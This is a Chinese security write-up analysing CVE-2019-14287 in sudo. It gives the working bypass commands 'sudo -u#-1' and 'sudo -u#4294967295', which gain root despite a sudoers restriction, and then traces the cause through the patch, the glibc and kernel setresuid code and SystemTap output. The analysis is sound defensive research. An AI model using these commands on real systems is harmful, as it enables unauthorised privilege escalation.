CVE-2019-14287（Linux sudo 漏洞）分析
作者：lu4nx@知道创宇404积极防御实验室
作者博客：《CVE-2019-14287（Linux sudo 漏洞）分析》
近日 sudo 被爆光一个漏洞，非授权的特权用户可以绕过限制获得特权。官方的修复公告请见：https://www.sudo.ws/alerts/minus_1_uid.html。
1. 漏洞复现
实验环境：
| 操作系统 | CentOS Linux release 7.5.1804 |
|---|---|
| 内核 | 3.10.0-862.14.4.el7.x86_64 |
| sudo 版本 | 1.8.19p2 |
首先添加一个系统帐号 test_sudo 作为实验所用：
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[root@localhost ~] # useradd test_sudo |
然后用 root 身份在 /etc/sudoers 中增加：
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test_sudo ALL=(ALL,!root) /usr/bin/id |
表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id，如果试图以 root 帐号运行 id 命令则会被拒绝：
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[test_sudo@localhost ~] $ sudo id 对不起，用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。 |
sudo -u 也可以通过指定 UID 的方式来代替用户，当指定的 UID 为 -1 或 4294967295（-1 的补码，其实内部是按无符号整数处理的） 时，因此可以触发漏洞，绕过上面的限制并以 root 身份执行命令：
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[test_sudo@localhost ~]$ sudo -u#-1 id uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 |
[test_sudo@localhost ~]
$ sudo -u#4294967295 id uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. 漏洞原理分析
在官方代码仓库找到提交的修复代码：https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。
从提交的代码来看，只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串，补丁关键代码：
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/* Disallow id -1, which means "no change". */ if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) { if (errstr != NULL) *errstr = N_("invalid value"); errno = EINVAL; goto done; } |
llval 变量为解析后的值，不允许 llval 为 -1 和 UINT_MAX（4294967295）。
也就是补丁只限制了取值而已，从漏洞行为来看，如果为 -1，最后得到的 UID 却是 0，为什么不能为 -1？当 UID 为 -1 的时候，发生了什么呢？继续深入分析一下。
我们先用 strace 跟踪下系统调用看看：
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[root@localhost ~]# strace -u test_sudo sudo -u#-1 id |
因为 strace -u 参数需要 root 身份才能使用，因此上面命令需要先切换到 root 帐号下，然后用 test_sudo 身份执行了 sudo -u#-1 id 命令。从输出的系统调用中，注意到：
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setresuid(-1, -1, -1) = 0 |
sudo 内部调用了 setresuid 来提升权限（虽然还调用了其他设置组之类的函数，但先不做分析），并且传入的参数都是 -1。
因此，我们做一个简单的实验来调用 setresuid(-1, -1, -1) ，看看为什么执行后会是 root 身份，代码如下：
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#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { setresuid(-1, -1, -1); setuid(0); printf("EUID: %d, UID: %d\n", geteuid(), getuid()); return 0; } |
注意，需要将编译后的二进制文件所属用户改为 root，并加上 s 位，当设置了 s 位后，其他帐号执行时就会以文件所属帐号的身份运行。
为了方便，我直接在 root 帐号下编译，并加 s 位：
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[root@localhost tmp] # gcc test.c |
[root@localhost tmp]
# chmod +s a.out
然后以 test_sudo 帐号执行 a.out：
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[test_sudo@localhost tmp] $ ./a.out EUID: 0, UID: 0 |
可见，运行后，当前身份变成了 root。
其实 setresuid 函数只是系统调用 setresuid32 的简单封装，可以在 GLibc 的源码中看到它的实现：
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// 文件：sysdeps/unix/sysv/linux/i386/setresuid.c int __setresuid (uid_t ruid, uid_t euid, uid_t suid) { int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result; } |
setresuid32 最后调用的是内核函数 sys_setresuid，它的实现如下：
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// 文件：kernel/sys.c SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) { ... struct cred *new; ... kruid = make_kuid(ns, ruid); keuid = make_kuid(ns, euid); ksuid = make_kuid(ns, suid); new = prepare_creds(); old = current_cred(); ... if (ruid != (uid_t) -1) { new->uid = kruid; if (!uid_eq(kruid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } if (euid != (uid_t) -1) new->euid = keuid; if (suid != (uid_t) -1) new->suid = ksuid; new->fsuid = new->euid; ... return commit_creds(new); error: abort_creds(new); return retval; } |
简单来说，内核在处理时，会调用 prepare_creds 函数创建一个新的凭证结构体，而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候，才会将 ruid、euid 和 suid 赋值给新的凭证（见上面三个 if 逻辑），否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时，会拥有 root 权限的原因。
我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态：
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# 捕获 setresuid 的系统调用 probe syscall.setresuid { printf("exec %s, args: %s\n", execname(), argstr) } # 捕获内核函数 sys_setresuid 接受到的参数 probe kernel.function("sys_setresuid").call { printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3)); } # 捕获内核函数 prepare_creds 的返回值 probe kernel.function("prepare_creds").return { # 具体数据结构请见 linux/cred.h 中 struct cred 结构体 printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val) } |
然后执行：
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[root@localhost tmp] # stap test.stp |
接着运行前面我们编译的 a.out，看看 stap 捕获到的：
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exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数 (sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数 (prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred，可看到默认 EUID 是为 0的 |
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